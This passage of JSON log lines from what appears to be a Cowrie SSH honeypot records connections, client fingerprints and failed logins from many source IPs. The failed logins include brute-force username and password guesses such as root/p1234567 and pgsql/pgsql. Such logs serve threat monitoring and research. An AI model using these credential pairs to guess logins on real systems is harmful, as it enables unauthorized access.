16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:15.873156Z","src_ip":"51.250.105.222","session":"5afac20e0258","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:16.251750Z","src_ip":"51.250.105.222","session":"5afac20e0258","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:17.380361Z","src_ip":"51.250.105.222","session":"5afac20e0258","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.91.81.195","src_port":58044,"dst_ip":"159.203.135.109","dst_port":22,"session":"666cee468bc6","protocol":"ssh","message":"New connection: 36.91.81.195:58044 (159.203.135.109:22) [session: 666cee468bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:37.861372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:37.864920Z","src_ip":"36.91.81.195","session":"666cee468bc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.226.190.225","src_port":53184,"dst_ip":"10.17.0.5","dst_port":22,"session":"70f8915f0e87","protocol":"ssh","message":"New connection: 87.226.190.225:53184 (10.17.0.5:22) [session: 70f8915f0e87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:37.914219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:37.918382Z","src_ip":"87.226.190.225","session":"70f8915f0e87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:38.076438Z","src_ip":"87.226.190.225","session":"70f8915f0e87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:38.134056Z","src_ip":"36.91.81.195","session":"666cee468bc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":40546,"dst_ip":"10.17.0.5","dst_port":22,"session":"79cfbe988a37","protocol":"ssh","message":"New connection: 103.173.227.57:40546 (10.17.0.5:22) [session: 79cfbe988a37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:38.363176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:38.367508Z","src_ip":"103.173.227.57","session":"79cfbe988a37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:38.621438Z","src_ip":"103.173.227.57","session":"79cfbe988a37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pgsql","password":"pgsql","message":"login attempt [pgsql/pgsql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:38.739049Z","src_ip":"87.226.190.225","session":"70f8915f0e87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sinusbot","password":"sinusbot","message":"login attempt [sinusbot/sinusbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:39.234084Z","src_ip":"36.91.81.195","session":"666cee468bc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p1234567","message":"login attempt [root/p1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:39.381349Z","src_ip":"103.173.227.57","session":"79cfbe988a37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:39.899430Z","src_ip":"87.226.190.225","session":"70f8915f0e87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":45490,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb6b610a07c3","protocol":"ssh","message":"New connection: 147.45.199.80:45490 (159.203.135.109:22) [session: bb6b610a07c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:40.375452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:40.379703Z","src_ip":"147.45.199.80","session":"bb6b610a07c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:40.474763Z","src_ip":"147.45.199.80","session":"bb6b610a07c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:40.505045Z","src_ip":"36.91.81.195","session":"666cee468bc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:40.641001Z","src_ip":"103.173.227.57","session":"79cfbe988a37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rjvgm.nth","message":"login attempt [root/rjvgm.nth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:40.760799Z","src_ip":"147.45.199.80","session":"bb6b610a07c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:41.858649Z","src_ip":"147.45.199.80","session":"bb6b610a07c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.147.144.172","src_port":36512,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d7db74e1245","protocol":"ssh","message":"New connection: 176.147.144.172:36512 (159.203.135.109:22) [session: 1d7db74e1245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:45.109496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:45.113862Z","src_ip":"176.147.144.172","session":"1d7db74e1245","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:45.212165Z","src_ip":"176.147.144.172","session":"1d7db74e1245","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mk123456","message":"login attempt [root/Mk123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:45.628890Z","src_ip":"176.147.144.172","session":"1d7db74e1245","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:46.729537Z","src_ip":"176.147.144.172","session":"1d7db74e1245","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.170.155","src_port":33642,"dst_ip":"10.17.0.5","dst_port":22,"session":"3712d3d7e323","protocol":"ssh","message":"New connection: 43.156.170.155:33642 (10.17.0.5:22) [session: 3712d3d7e323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:52.226333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:52.230898Z","src_ip":"43.156.170.155","session":"3712d3d7e323","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:52.468626Z","src_ip":"43.156.170.155","session":"3712d3d7e323","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0123456789","message":"login attempt [root/0123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:53.453076Z","src_ip":"43.156.170.155","session":"3712d3d7e323","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:54.694537Z","src_ip":"43.156.170.155","session":"3712d3d7e323","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.228.138","src_port":60906,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a961487e03e","protocol":"ssh","message":"New connection: 137.184.228.138:60906 (159.203.135.109:22) [session: 7a961487e03e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:59.457148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:59.461705Z","src_ip":"137.184.228.138","session":"7a961487e03e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:59.538884Z","src_ip":"137.184.228.138","session":"7a961487e03e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:59.881027Z","src_ip":"137.184.228.138","session":"7a961487e03e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:40:00.961823Z","src_ip":"137.184.228.138","session":"7a961487e03e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.227.177.11","src_port":46726,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5c7f0d4091d","protocol":"ssh","message":"New connection: 4.227.177.11:46726 (10.17.0.5:22) [session: f5c7f0d4091d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:40:16.703819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:40:16.711025Z","src_ip":"4.227.177.11","session":"f5c7f0d4091d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:40:16.722466Z","src_ip":"4.227.177.11","session":"f5c7f0d4091d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"12345","message":"login attempt [tester/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:40:16.799086Z","src_ip":"4.227.177.11","session":"f5c7f0d4091d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:40:17.814889Z","src_ip":"4.227.177.11","session":"f5c7f0d4091d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":43942,"dst_ip":"10.17.0.5","dst_port":22,"session":"1df369951033","protocol":"ssh","message":"New connection: 41.181.156.205:43942 (10.17.0.5:22) [session: 1df369951033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:40:24.833170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:40:24.839178Z","src_ip":"41.181.156.205","session":"1df369951033","protocol":"ssh"}
